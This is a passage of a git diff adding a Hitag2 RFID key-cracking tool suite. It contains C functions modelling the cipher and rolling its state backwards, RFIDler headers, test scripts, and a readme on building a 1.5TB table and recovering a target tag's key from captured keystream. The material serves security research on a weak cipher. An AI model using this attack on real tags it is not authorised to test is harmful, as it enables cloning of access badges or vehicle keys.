// writes a value into a buffer as a series of bytes
|
||||
void writebuf(unsigned char *buf, uint64_t val, unsigned int len)
|
||||
{
|
||||
int i;
|
||||
char c;
|
||||
|
||||
for (i=len-1; i>=0; i--)
|
||||
{
|
||||
c = val & 0xff;
|
||||
buf[i] = c;
|
||||
val = val >> 8;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
/* simple hexdump for testing purposes */
|
||||
void shexdump(unsigned char *data, int data_len)
|
||||
{
|
||||
int i;
|
||||
|
||||
if (!data || (data_len <= 0)) {
|
||||
printf("shexdump: invalid parameters\n");
|
||||
return;
|
||||
}
|
||||
|
||||
printf("Hexdump from %p:\n", data);
|
||||
|
||||
for (i=0; i<data_len; i++) {
|
||||
if ((i % HEX_PER_ROW) == 0) {
|
||||
printf("\n0x%04x: ", i);
|
||||
}
|
||||
printf("%02x ", data[i]);
|
||||
}
|
||||
printf("\n\n");
|
||||
}
|
||||
|
||||
|
||||
|
||||
void printbin(unsigned char *c)
|
||||
{
|
||||
int i, j;
|
||||
unsigned char x;
|
||||
|
||||
if (!c) {
|
||||
printf("printbin: invalid params\n");
|
||||
return;
|
||||
}
|
||||
|
||||
for (i=0; i<6; i++) {
|
||||
x = c[i];
|
||||
for (j=0; j<8; j++) {
|
||||
printf("%d", (x & 0x80) >> 7);
|
||||
x = x << 1;
|
||||
}
|
||||
}
|
||||
printf("\n");
|
||||
}
|
||||
|
||||
|
||||
void printbin2(uint64_t val, unsigned int size)
|
||||
{
|
||||
int i;
|
||||
uint64_t mask = 1;
|
||||
|
||||
mask = mask << (size - 1);
|
||||
|
||||
for (i=0; i<size; i++) {
|
||||
if (val & mask) {
|
||||
printf("1");
|
||||
} else {
|
||||
printf("0");
|
||||
}
|
||||
val = val << 1;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
void printstate(Hitag_State *hstate)
|
||||
{
|
||||
printf("shiftreg =\t");
|
||||
printbin2(hstate->shiftreg, 48);
|
||||
printf("\n");
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
// convert hex char to binary
|
||||
unsigned char hex2bin(unsigned char c)
|
||||
{
|
||||
if ((c >= '0') && (c <= '9')) {
|
||||
return (c - '0');
|
||||
} else if ((c >= 'a') && (c <= 'f')) {
|
||||
return (c - 'a' + 10);
|
||||
} else if ((c >= 'A') && (c <= 'F')) {
|
||||
return (c - 'A' + 10);
|
||||
} else {
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
// return a single bit from a value
|
||||
int bitn(uint64_t x, int bit)
|
||||
{
|
||||
uint64_t bitmask = 1;
|
||||
|
||||
bitmask = bitmask << bit;
|
||||
|
||||
if (x & bitmask) {
|
||||
return 1;
|
||||
} else {
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
// the sub-function R that rollback depends upon
|
||||
int fnR(uint64_t x)
|
||||
{
|
||||
// renumbered bits because my state is 0-47, not 1-48
|
||||
return (bitn(x, 1) ^ bitn(x, 2) ^ bitn(x, 5) ^ bitn(x, 6) ^ bitn(x, 7) ^
|
||||
bitn(x, 15) ^ bitn(x, 21) ^ bitn(x, 22) ^ bitn(x, 25) ^ bitn(x, 29) ^ bitn(x, 40) ^
|
||||
bitn(x, 41) ^ bitn(x, 42) ^ bitn(x, 45) ^ bitn(x, 46) ^ bitn(x, 47));
|
||||
}
|
||||
|
||||
// the rollback function that lets us go backwards in time
|
||||
void rollback(Hitag_State *hstate, unsigned int steps)
|
||||
{
|
||||
int i;
|
||||
|
||||
for (i=0; i<steps; i++) {
|
||||
hstate->shiftreg = ((hstate->shiftreg << 1) & 0xffffffffffff) | fnR(hstate->shiftreg);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
// the three filter sub-functions that feed fnf
|
||||
int fa(unsigned int i)
|
||||
{
|
||||
return bitn(0x2C79, i);
|
||||
}
|
||||
|
||||
int fb(unsigned int i)
|
||||
{
|
||||
return bitn(0x6671, i);
|
||||
}
|
||||
|
||||
int fc(unsigned int i)
|
||||
{
|
||||
return bitn(0x7907287B, i);
|
||||
}
|
||||
|
||||
// the filter function that generates a bit of output from the prng state
|
||||
int fnf(uint64_t s)
|
||||
{
|
||||
unsigned int x1, x2, x3, x4, x5, x6;
|
||||
|
||||
x1 = (bitn(s, 2) << 0) | (bitn(s, 3) << 1) | (bitn(s, 5) << 2) | (bitn(s, 6) << 3);
|
||||
x2 = (bitn(s, 8) << 0) | (bitn(s, 12) << 1) | (bitn(s, 14) << 2) | (bitn(s, 15) << 3);
|
||||
x3 = (bitn(s, 17) << 0) | (bitn(s, 21) << 1) | (bitn(s, 23) << 2) | (bitn(s, 26) << 3);
|
||||
x4 = (bitn(s, 28) << 0) | (bitn(s, 29) << 1) | (bitn(s, 31) << 2) | (bitn(s, 33) << 3);
|
||||
x5 = (bitn(s, 34) << 0) | (bitn(s, 43) << 1) | (bitn(s, 44) << 2) | (bitn(s, 46) << 3);
|
||||
|
||||
x6 = (fa(x1) << 0) | (fb(x2) << 1) | (fb(x3) << 2) | (fb(x4) << 3) | (fa(x5) << 4);
|
||||
|
||||
return fc(x6);
|
||||
}
|
||||
|
||||
// builds the lfsr for the prng (quick calcs for hitag2_nstep())
|
||||
void buildlfsr(Hitag_State *hstate)
|
||||
{
|
||||
uint64_t state = hstate->shiftreg;
|
||||
uint64_t temp;
|
||||
|
||||
temp = state ^ (state >> 1);
|
||||
hstate->lfsr = state ^ (state >> 6) ^ (state >> 16)
|
||||
^ (state >> 26) ^ (state >> 30) ^ (state >> 41)
|
||||
^ (temp >> 2) ^ (temp >> 7) ^ (temp >> 22)
|
||||
^ (temp >> 42) ^ (temp >> 46);
|
||||
}
|
||||
|
||||
|
||||
|
34
tools/hitag2crack/crack2/ht2crack2utils.h
Normal file
34
tools/hitag2crack/crack2/ht2crack2utils.h
Normal file
|
@ -0,0 +1,34 @@
|
|||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <string.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/stat.h>
|
||||
#include <fcntl.h>
|
||||
#include <pthread.h>
|
||||
|
||||
#include "HardwareProfile.h"
|
||||
#include "rfidler.h"
|
||||
#include "util.h"
|
||||
|
||||
#include "hitagcrypto.h"
|
||||
|
||||
#define HEX_PER_ROW 16
|
||||
|
||||
|
||||
|
||||
void writebuf(unsigned char *buf, uint64_t val, unsigned int len);
|
||||
void shexdump(unsigned char *data, int data_len);
|
||||
void printbin(unsigned char *c);
|
||||
void printbin2(uint64_t val, unsigned int size);
|
||||
void printstate(Hitag_State *hstate);
|
||||
unsigned char hex2bin(unsigned char c);
|
||||
int bitn(uint64_t x, int bit);
|
||||
int fnR(uint64_t x);
|
||||
void rollback(Hitag_State *hstate, unsigned int steps);
|
||||
int fa(unsigned int i);
|
||||
int fb(unsigned int i);
|
||||
int fc(unsigned int i);
|
||||
int fnf(uint64_t s);
|
||||
void buildlfsr(Hitag_State *hstate);
|
68
tools/hitag2crack/crack2/readme.md
Normal file
68
tools/hitag2crack/crack2/readme.md
Normal file
|
@ -0,0 +1,68 @@
|
|||
ht2crack2 suite
|
||||
|
||||
|
||||
|
||||
Build
|
||||
-----
|
||||
|
||||
Edit ht2crack2buildtable.c and set the DATAMAX, NUM_BUILD_THREADS and NUM_SORT_THREADS values.
|
||||
These are important if you want it to run quickly. Ideally set DATAMAX to the largest value
|
||||
that you can get away with and set NUM_BUILD_THREADS and NUM_SORT_THREADS to the number of
|
||||
virtual cores you have available, which MUST be a power of 2. NUM_BUILD_THREADS MUST be >=
|
||||
NUM_SORT_THREADS.
|
||||
|
||||
Calculate DATAMAX = free RAM available / 65536, and then round down to a power of 10.
|
||||
|
||||
The Makefile is configured for linux. To compile on Mac, edit it and swap the LIBS= lines.
|
||||
|
||||
make clean
|
||||
make
|
||||
|
||||
|
||||
Run ht2crack2buildtable
|
||||
-----------------------
|
||||
|
||||
Make sure you are in a directory on a disk with at least 1.5TB of space.
|
||||
./ht2crack2buildtable
|
||||
|
||||
Wait a very long time. Maybe a few days.
|
||||
|
||||
This will create a directory tree called table/ while it is working that will contain
|
||||
files that will slowly build up in size to approx 20MB each. Once it has finished making
|
||||
these unsorted files, it will sort them into the directory tree sorted/ and remove the
|
||||
original files. It will then exit and you'll have your shiny table.
|
||||
|
||||
|
||||
Test with ht2crack2gentests
|
||||
---------------------------
|
||||
|
||||
./ht2crack2gentests NUMBER_OF_TESTS
|
||||
|
||||
to generate NUMBER_OF_TESTS test files. These will all be named
|
||||
keystream.key-KEYVALUE.uid-UIDVALUE.nR-NRVALUE
|
||||
|
||||
Test a single test with
|
||||
./runtest.sh KEYSTREAMFILE
|
||||
|
||||
or manually with
|
||||
./ht2crack2search KEYSTREAMFILE UIDVALUE NRVALUE
|
||||
|
||||
or run all tests with
|
||||
./runalltests.sh
|
||||
|
||||
Feel free to edit the shell scripts to find your tools. You might want to create a
|
||||
symbolic link to your sorted/ directory called 'sorted' to help ht2crack2seach find the
|
||||
table.
|
||||
|
||||
If the tests work, then the table is sound.
|
||||
|
||||
|
||||
Search for key in real keystream
|
||||
--------------------------------
|
||||
|
||||
Recover 2048 bits of keystream from the target RFID tag with the RFIDler. You will have had
|
||||
to supply an NR value and you should know the tag's UID (you can get this using the RFIDler).
|
||||
|
||||
./ht2crack2search KEYSTREAMFILE UIDVALUE NRVALUE
|
||||
|
||||
|
412
tools/hitag2crack/crack2/rfidler.h
Normal file
412
tools/hitag2crack/crack2/rfidler.h
Normal file
|
@ -0,0 +1,412 @@
|
|||
/***************************************************************************
|
||||
* A copy of the GNU GPL is appended to this file. *
|
||||
* *
|
||||
* This licence is based on the nmap licence, and we express our gratitude *
|
||||
* for the work that went into producing it. There is no other connection *
|
||||
* between RFIDler and nmap either expressed or implied. *
|
||||
* *
|
||||
********************** IMPORTANT RFIDler LICENSE TERMS ********************
|
||||
* *
|
||||
* *
|
||||
* All references to RFIDler herein imply all it's derivatives, namely: *
|
||||
* *
|
||||
* o RFIDler-LF Standard *
|
||||
* o RFIDler-LF Lite *
|
||||
* o RFIDler-LF Nekkid *
|
||||
* *
|
||||
* *
|
||||
* RFIDler is (C) 2013-2015 Aperture Labs Ltd. *
|
||||
* *
|
||||
* This program is free software; you may redistribute and/or modify it *
|
||||
* under the terms of the GNU General Public License as published by the *
|
||||
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
|
||||
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
|
||||
* right to use, modify, and redistribute this software under certain *
|
||||
* conditions. If you wish to embed RFIDler technology into proprietary *
|
||||
* software or hardware, we sell alternative licenses *
|
||||
* (contact sales@aperturelabs.com). *
|
||||
* *
|
||||
* Note that the GPL places important restrictions on "derivative works", *
|
||||
* yet it does not provide a detailed definition of that term. To avoid *
|
||||
* misunderstandings, we interpret that term as broadly as copyright law *
|
||||
* allows. For example, we consider an application to constitute a *
|
||||
* derivative work for the purpose of this license if it does any of the *
|
||||
* following with any software or content covered by this license *
|
||||
* ("Covered Software"): *
|
||||
* *
|
||||
* o Integrates source code from Covered Software. *
|
||||
* *
|
||||
* o Is designed specifically to execute Covered Software and parse the *
|
||||
* results (as opposed to typical shell or execution-menu apps, which will *
|
||||
* execute anything you tell them to). *
|
||||
* *
|
||||
* o Includes Covered Software in a proprietary executable installer. The *
|
||||
* installers produced by InstallShield are an example of this. Including *
|
||||
* RFIDler with other software in compressed or archival form does not *
|
||||
* trigger this provision, provided appropriate open source decompression *
|
||||
* or de-archiving software is widely available for no charge. For the *
|
||||
* purposes of this license, an installer is considered to include Covered *
|
||||
* Software even if it actually retrieves a copy of Covered Software from *
|
||||
* another source during runtime (such as by downloading it from the *
|
||||
* Internet). *
|
||||
* *
|
||||
* o Links (statically or dynamically) to a library which does any of the *
|
||||
* above. *
|
||||
* *
|
||||
* o Executes a helper program, module, or script to do any of the above. *
|
||||
* *
|
||||
* This list is not exclusive, but is meant to clarify our interpretation *
|
||||
* of derived works with some common examples. Other people may interpret *
|
||||
* the plain GPL differently, so we consider this a special exception to *
|
||||
* the GPL that we apply to Covered Software. Works which meet any of *
|
||||
* these conditions must conform to all of the terms of this license, *
|
||||
* particularly including the GPL Section 3 requirements of providing *
|
||||
* source code and allowing free redistribution of the work as a whole. *
|
||||
* *
|
||||
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
|
||||
* permission to link the code of this program with any version of the *
|
||||
* OpenSSL library which is distributed under a license identical to that *
|
||||
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
|
||||
* linked combinations including the two. *
|
||||
* *
|
||||
* Any redistribution of Covered Software, including any derived works, *
|
||||
* must obey and carry forward all of the terms of this license, including *
|
||||
* obeying all GPL rules and restrictions. For example, source code of *
|
||||
* the whole work must be provided and free redistribution must be *
|
||||
* allowed. All GPL references to "this License", are to be treated as *
|
||||
* including the terms and conditions of this license text as well. *
|
||||
* *
|
||||
* Because this license imposes special exceptions to the GPL, Covered *
|
||||
* Work may not be combined (even as part of a larger work) with plain GPL *
|
||||
* software. The terms, conditions, and exceptions of this license must *
|
||||
* be included as well. This license is incompatible with some other open *
|
||||
* source licenses as well. In some cases we can relicense portions of *
|
||||
* RFIDler or grant special permissions to use it in other open source *
|
||||
* software. Please contact sales@aperturelabs.com with any such requests.*
|
||||
* Similarly, we don't incorporate incompatible open source software into *
|
||||
* Covered Software without special permission from the copyright holders. *
|
||||
* *
|
||||
* If you have any questions about the licensing restrictions on using *
|
||||
* RFIDler in other works, are happy to help. As mentioned above, we also *
|
||||
* offer alternative license to integrate RFIDler into proprietary *
|
||||
* applications and appliances. These contracts have been sold to dozens *
|
||||
* of software vendors, and generally include a perpetual license as well *
|
||||
* as providing for priority support and updates. They also fund the *
|
||||
* continued development of RFIDler. Please email sales@aperturelabs.com *
|
||||
* for further information. *
|
||||
* If you have received a written license agreement or contract for *
|
||||
* Covered Software stating terms other than these, you may choose to use *
|
||||
* and redistribute Covered Software under those terms instead of these. *
|
||||
* *
|
||||
* Source is provided to this software because we believe users have a *
|
||||
* right to know exactly what a program is going to do before they run it. *
|
||||
* This also allows you to audit the software for security holes (none *
|
||||
* have been found so far). *
|
||||
* *
|
||||
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
|
||||
* and add new features. You are highly encouraged to send your changes *
|
||||
* to the RFIDler mailing list for possible incorporation into the *
|
||||
* main distribution. By sending these changes to Aperture Labs Ltd. or *
|
||||
* one of the Aperture Labs Ltd. development mailing lists, or checking *
|
||||
* them into the RFIDler source code repository, it is understood (unless *
|
||||
* you specify otherwise) that you are offering the RFIDler Project *
|
||||
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
|
||||
* modify, and relicense the code. RFIDler will always be available Open *
|
||||
* Source, but this is important because the inability to relicense code *
|
||||
* has caused devastating problems for other Free Software projects (such *
|
||||
* as KDE and NASM). We also occasionally relicense the code to third *
|
||||
* parties as discussed above. If you wish to specify special license *
|
||||
* conditions of your contributions, just say so when you send them. *
|
||||
* *
|
||||
* This program is distributed in the hope that it will be useful, but *
|
||||
* WITHOUT ANY WARRANTY; without even the implied warranty of *
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
|
||||
* license file for more details (it's in a COPYING file included with *
|
||||
* RFIDler, and also available from *
|
||||
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
|
||||
* *
|
||||
***************************************************************************/
|
||||
|
||||
// Author: Adam Laurie <adam@aperturelabs.com>
|
||||
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
|
||||
// BCD hardware revision for usb descriptor (usb_descriptors.c)
|
||||
#define RFIDLER_HW_VERSION 0x020
|
||||
|
||||
// max sizes in BITS
|
||||
#define MAXBLOCKSIZE 512
|
||||
#define MAXTAGSIZE 4096
|
||||
#define MAXUID 512
|
||||
|
||||
#define TMP_LARGE_BUFF_LEN 2048
|
||||
#define TMP_SMALL_BUFF_LEN 256
|
||||
#define ANALOGUE_BUFF_LEN 8192
|
||||
|
||||
#define COMMS_BUFFER_SIZE 128
|
||||
|
||||
#define DETECT_BUFFER_SIZE 512
|
||||
|
||||
#define SAMPLEMASK ~(BIT_1 | BIT_0) // mask to remove two bottom bits from analogue sample - we will then use those for reader & bit period
|
||||
|
||||
// globals
|
||||
|
||||
extern BOOL WiegandOutput; // Output wiegand data whenenver UID is read
|
||||
extern BYTE *EMU_Reset_Data; // Pointer to full array of bits as bytes, stored as 0x00/0x01, '*' terminated
|
||||
extern BYTE *EMU_Data; // Pointer to current location in EMU_Reset_Data
|
||||
extern BYTE EMU_ThisBit; // The next data bit to transmit
|
||||
extern BYTE EMU_SubCarrier_T0; // Number of Frame Clocks for sub-carrier '0'
|
||||
extern BYTE EMU_SubCarrier_T1; // Number of Frame Clocks for sub-carrier '1'
|
||||
extern unsigned int EMU_Repeat; // Number of times to transmit full data set
|
||||
extern BOOL EMU_Background; // Emulate in the background until told to stop
|
||||
extern unsigned int EMU_DataBitRate; // Number of Frame Clocks per bit
|
||||
extern BYTE TmpBits[TMP_LARGE_BUFF_LEN]; // Shared scratchpad
|
||||
extern BYTE ReaderPeriod; // Flag for sample display
|
||||
extern unsigned char Comms_In_Buffer[COMMS_BUFFER_SIZE]; // USB/Serial buffer
|
||||
extern BYTE Interface; // user interface - CLI or API
|
||||
extern BYTE CommsChannel; // user comms channel - USB or UART
|
||||
extern BOOL FakeRead; // flag for analogue sampler to signal it wants access to buffers during read
|
||||
extern BOOL PWD_Mode; // is this tag password protected?
|
||||
extern BYTE Password[9]; // 32 bits as HEX string set with LOGIN
|
||||
extern unsigned int Led_Count; // LED status counter, also used for entropy
|
||||
extern unsigned long Reader_Bit_Count; // Reader ISR bit counter
|
||||
extern char Previous; // Reader ISR previous bit type
|
||||
|
||||
// RWD (read/write device) coil state
|
||||
extern BYTE RWD_State; // current state of RWD coil
|
||||
extern unsigned int RWD_Fc; // field clock in uS
|
||||
extern unsigned int RWD_Gap_Period; // length of command gaps in OC5 ticks
|
||||
extern unsigned int RWD_Zero_Period; // length of '0' in OC5 ticks
|
||||
extern unsigned int RWD_One_Period; // length of '1' in OC5 ticks
|
||||
extern unsigned int RWD_Sleep_Period; // length of initial sleep to reset tag in OC5 ticks
|
||||
extern unsigned int RWD_Wake_Period; // length required for tag to restart in OC5 ticks
|
||||
extern unsigned int RWD_Wait_Switch_TX_RX; // length to wait when switching from TX to RX in OC5 ticks
|
||||
extern unsigned int RWD_Wait_Switch_RX_TX; // length to wait when switching from RX to TX in OC5 ticks
|
||||
extern unsigned int RWD_Post_Wait; // low level ISR wait period in OC5 ticks
|
||||
extern unsigned int RWD_OC5_config; // Output Compare Module settings
|
||||
extern unsigned int RWD_OC5_r; // Output Compare Module primary compare value
|
||||
extern unsigned int RWD_OC5_rs; // Output Compare Module secondary compare value
|
||||
extern BYTE RWD_Command_Buff[TMP_SMALL_BUFF_LEN]; // Command buffer, array of bits as bytes, stored as 0x00/0x01, '*' terminated
|
||||
extern BYTE *RWD_Command_ThisBit; // Current command bit
|
||||
extern BOOL Reader_ISR_State; // current state of reader ISR
|
||||
|
||||
// NVM variables
|
||||
// timings etc. that want to survive a reboot should go here
|
||||
typedef struct {
|
||||
BYTE Name[7]; // will be set to "RFIDler" so we can test for new device
|
||||
BYTE AutoRun[128]; // optional command to run at startup
|
||||
unsigned char TagType;
|
||||
unsigned int PSK_Quality;
|
||||
unsigned int Timeout;
|
||||
unsigned int Wiegand_Pulse;
|
||||
unsigned int Wiegand_Gap;
|
||||
BOOL Wiegand_IdleState;
|
||||
unsigned int FrameClock;
|
||||
unsigned char Modulation;
|
||||
unsigned int DataRate;
|
||||
unsigned int DataRateSub0;
|
||||
unsigned int DataRateSub1;
|
||||
unsigned int DataBits;
|
||||
unsigned int DataBlocks;
|
||||
unsigned int BlockSize;
|
||||
unsigned char SyncBits;
|
||||
BYTE Sync[4];
|
||||
BOOL BiPhase;
|
||||
BOOL Invert;
|
||||
BOOL Manchester;
|
||||
BOOL HalfDuplex;
|
||||
unsigned int Repeat;
|
||||
unsigned int PotLow;
|
||||
unsigned int PotHigh;
|
||||
unsigned int RWD_Gap_Period;
|
||||
unsigned int RWD_Zero_Period;
|
||||
unsigned int RWD_One_Period;
|
||||
unsigned int RWD_Sleep_Period;
|
||||
unsigned int RWD_Wake_Period;
|
||||
unsigned int RWD_Wait_Switch_TX_RX;
|
||||
unsigned int RWD_Wait_Switch_RX_TX;
|
||||
} StoredConfig;
|
||||
|
||||
// somewhere to store TAG data. this will be interpreted according to the TAG
|
||||
// type.
|
||||
typedef struct {
|
||||
BYTE TagType; // raw tag type
|
||||
BYTE EmulatedTagType; // tag type this tag is configured to emulate
|
||||
BYTE UID[MAXUID + 1]; // Null-terminated HEX string
|
||||
BYTE Data[MAXTAGSIZE]; // raw data
|
||||
unsigned char DataBlocks; // number of blocks in Data field
|
||||
unsigned int BlockSize; // blocksize in bits
|
||||
} VirtualTag;
|
||||
|
||||
extern StoredConfig RFIDlerConfig;
|
||||
extern VirtualTag RFIDlerVTag;
|
||||
extern BYTE TmpBuff[NVM_PAGE_SIZE];
|
||||
extern BYTE DataBuff[ANALOGUE_BUFF_LEN];
|
||||
extern unsigned int DataBuffCount;
|
||||
extern const BYTE *ModulationSchemes[];
|
||||
extern const BYTE *OnOff[];
|
||||
extern const BYTE *HighLow[];
|
||||
extern const BYTE *TagTypes[];
|
||||
|
||||
// globals for ISRs
|
||||
extern BYTE EmulationMode;
|
||||
extern unsigned long HW_Bits;
|
||||
extern BYTE HW_Skip_Bits;
|
||||
extern unsigned int PSK_Min_Pulse;
|
||||
extern BOOL PSK_Read_Error;
|
||||
extern BOOL Manchester_Error;
|
||||
extern BOOL SnifferMode;
|
||||
extern unsigned int Clock_Tick_Counter;
|
||||
extern BOOL Clock_Tick_Counter_Reset;
|
||||
|
||||
// smart card lib
|
||||
#define MAX_ATR_LEN (BYTE)33
|
||||
extern BYTE scCardATR[MAX_ATR_LEN];
|
||||
extern BYTE scATRLength;
|
||||
|
||||
// RTC
|
||||
extern rtccTime RTC_time; // time structure
|
||||
extern rtccDate RTC_date; // date structure
|
||||
|
||||
// digital pots
|
||||
#define POTLOW_DEFAULT 100
|
||||
#define POTHIGH_DEFAULT 150
|
||||
#define DC_OFFSET 60 // analogue circuit DC offset (as close as we can get without using 2 LSB)
|
||||
#define VOLTS_TO_POT 0.019607843F
|
||||
|
||||
// RWD/clock states
|
||||
#define RWD_STATE_INACTIVE 0 // RWD not in use
|
||||
#define RWD_STATE_GO_TO_SLEEP 1 // RWD coil shutdown request
|
||||
#define RWD_STATE_SLEEPING 2 // RWD coil shutdown for sleep period
|
||||
#define RWD_STATE_WAKING 3 // RWD active for pre-determined period after reset
|
||||
#define RWD_STATE_START_SEND 4 // RWD starting send of data
|
||||
#define RWD_STATE_SENDING_GAP 5 // RWD sending a gap
|
||||
#define RWD_STATE_SENDING_BIT 6 // RWD sending a data bit
|
||||
#define RWD_STATE_POST_WAIT 7 // RWD finished sending data, now in forced wait period
|
||||
#define RWD_STATE_ACTIVE 8 // RWD finished, now just clocking a carrier
|
||||
|
||||
// reader ISR states
|
||||
#define READER_STOPPED 0 // reader not in use
|
||||
#define READER_IDLING 1 // reader ISR running to preserve timing, but not reading
|
||||
#define READER_RUNNING 2 // reader reading bits
|
||||
|
||||
|
||||
// user interface types
|
||||
#define INTERFACE_API 0
|
||||
#define INTERFACE_CLI 1
|
||||
|
||||
// comms channel
|
||||
#define COMMS_NONE 0
|
||||
#define COMMS_USB 1
|
||||
#define COMMS_UART 2
|
||||
|
||||
#define MAX_HISTORY 2 // disable most of history for now - memory issue
|
||||
|
||||
// tag write retries
|
||||
#define TAG_WRITE_RETRY 5
|
||||
|
||||
// modulation modes - uppdate ModulationSchemes[] in tags.c if you change this
|
||||
#define MOD_MODE_NONE 0
|
||||
#define MOD_MODE_ASK_OOK 1
|
||||
#define MOD_MODE_FSK1 2
|
||||
#define MOD_MODE_FSK2 3
|
||||
#define MOD_MODE_PSK1 4
|
||||
#define MOD_MODE_PSK2 5
|
||||
#define MOD_MODE_PSK3 6
|
||||
|
||||
// TAG types - update TagTypes[] in tags.c if you add to this list
|
||||
#define TAG_TYPE_NONE 0
|
||||
#define TAG_TYPE_ASK_RAW 1
|
||||
#define TAG_TYPE_FSK1_RAW 2
|
||||
#define TAG_TYPE_FSK2_RAW 3
|
||||
#define TAG_TYPE_PSK1_RAW 4
|
||||
#define TAG_TYPE_PSK2_RAW 5
|
||||
#define TAG_TYPE_PSK3_RAW 6
|
||||
#define TAG_TYPE_HITAG1 7
|
||||
#define TAG_TYPE_HITAG2 8
|
||||
#define TAG_TYPE_EM4X02 9
|
||||
#define TAG_TYPE_Q5 10
|
||||
#define TAG_TYPE_HID_26 11
|
||||
#define TAG_TYPE_INDALA_64 12
|
||||
#define TAG_TYPE_INDALA_224 13
|
||||
#define TAG_TYPE_UNIQUE 14
|
||||
#define TAG_TYPE_FDXB 15
|
||||
#define TAG_TYPE_T55X7 16 // same as Q5 but different timings and no modulation-defeat
|
||||
#define TAG_TYPE_AWID_26 17
|
||||
#define TAG_TYPE_EM4X05 18
|
||||
#define TAG_TYPE_TAMAGOTCHI 19
|
||||
#define TAG_TYPE_HDX 20 // same underlying data as FDX-B, but different modulation & telegram
|
||||
|
||||
// various
|
||||
|
||||
#define BINARY 0
|
||||
#define HEX 1
|
||||
|
||||
#define NO_ADDRESS -1
|
||||
|
||||
#define ACK TRUE
|
||||
#define NO_ACK FALSE
|
||||
|
||||
#define BLOCK TRUE
|
||||
#define NO_BLOCK FALSE
|
||||
|
||||
#define DATA TRUE
|
||||
#define NO_DATA FALSE
|
||||
|
||||
#define DEBUG_PIN_ON HIGH
|
||||
#define DEBUG_PIN_OFF LOW
|
||||
|
||||
#define FAST FALSE
|
||||
#define SLOW TRUE
|
||||
|
||||
#define NO_TRIGGER 0
|
||||
|
||||
#define LOCK TRUE
|
||||
#define NO_LOCK FALSE
|
||||
|
||||
#define NFC_MODE TRUE
|
||||
#define NO_NFC_MODE FALSE
|
||||
|
||||
#define ONESHOT_READ TRUE
|
||||
#define NO_ONESHOT_READ FALSE
|
||||
|
||||
#define RESET TRUE
|
||||
#define NO_RESET FALSE
|
||||
|
||||
#define SHUTDOWN_CLOCK TRUE
|
||||
#define NO_SHUTDOWN_CLOCK FALSE
|
||||
|
||||
#define SYNC TRUE
|
||||
#define NO_SYNC FALSE
|
||||
|
||||
#define VERIFY TRUE
|
||||
#define NO_VERIFY FALSE
|
||||
|
||||
#define VOLATILE FALSE
|
||||
#define NON_VOLATILE TRUE
|
||||
|
||||
#define NEWLINE TRUE
|
||||
#define NO_NEWLINE FALSE
|
||||
|
||||
#define WAIT TRUE
|
||||
#define NO_WAIT FALSE
|
||||
|
||||
#define WIPER_HIGH 0
|
||||
#define WIPER_LOW 1
|
||||
|
||||
// conversion for time to ticks
|
||||
#define US_TO_TICKS 1000000L
|
||||
#define US_OVER_10_TO_TICKS 10000000L
|
||||
#define US_OVER_100_TO_TICKS 100000000L
|
||||
// we can't get down to this level on pic, but we want to standardise on timings, so for now we fudge it
|
||||
#define CONVERT_TO_TICKS(x) ((x / 10) * (GetSystemClock() / US_OVER_10_TO_TICKS))
|
||||
#define CONVERT_TICKS_TO_US(x) (x / (GetSystemClock() / US_TO_TICKS))
|
||||
#define TIMER5_PRESCALER 16
|
||||
#define MAX_TIMER5_TICKS (65535 * TIMER5_PRESCALER)
|
||||
|
||||
// other conversions
|
||||
|
||||
// bits to hex digits
|
||||
#define HEXDIGITS(x) (x / 4)
|
||||
#define HEXTOBITS(x) (x * 4)
|
3
tools/hitag2crack/crack2/runalltests.sh
Executable file
3
tools/hitag2crack/crack2/runalltests.sh
Executable file
|
@ -0,0 +1,3 @@
|
|||
for i in keystream*; do
|
||||
./runtest.sh $i
|
||||
done
|
25
tools/hitag2crack/crack2/runtest.sh
Executable file
25
tools/hitag2crack/crack2/runtest.sh
Executable file
|
@ -0,0 +1,25 @@
|
|||
#!/bin/bash
|
||||
|
||||
if [ "$1" == "" ]; then
|
||||
echo "runtest.sh testfile"
|
||||
echo "testfile name should be of the form:"
|
||||
echo "keystream.key-KEY.uid-UID.nR-NR"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
filename=$1
|
||||
|
||||
UIDV=`echo $1 | cut -d'-' -f3 | cut -d'.' -f1`
|
||||
NR=`echo $1 | cut -d'-' -f4`
|
||||
KEYV=`echo $1 | cut -d'-' -f2 | cut -d'.' -f1`
|
||||
|
||||
echo "********************"
|
||||
echo "FILENAME = $filename"
|
||||
echo "UID = $UIDV"
|
||||
echo "NR = $NR"
|
||||
echo "Expected KEY = $KEYV"
|
||||
|
||||
./ht2crack2search $filename $UIDV $NR
|
||||
echo "Expected KEY = $KEYV"
|
||||
echo "********************"
|
||||
echo ""
|
206
tools/hitag2crack/crack2/util.h
Normal file
206
tools/hitag2crack/crack2/util.h
Normal file
|
@ -0,0 +1,206 @@
|
|||
/***************************************************************************
|
||||
* A copy of the GNU GPL is appended to this file. *
|
||||
* *
|
||||
* This licence is based on the nmap licence, and we express our gratitude *
|
||||
* for the work that went into producing it. There is no other connection *
|
||||
* between RFIDler and nmap either expressed or implied. *
|
||||
* *
|
||||
********************** IMPORTANT RFIDler LICENSE TERMS ********************
|
||||
* *
|
||||
* *
|
||||
* All references to RFIDler herein imply all it's derivatives, namely: *
|
||||
* *
|
||||
* o RFIDler-LF Standard *
|
||||
* o RFIDler-LF Lite *
|
||||
* o RFIDler-LF Nekkid *
|
||||
* *
|
||||
* *
|
||||
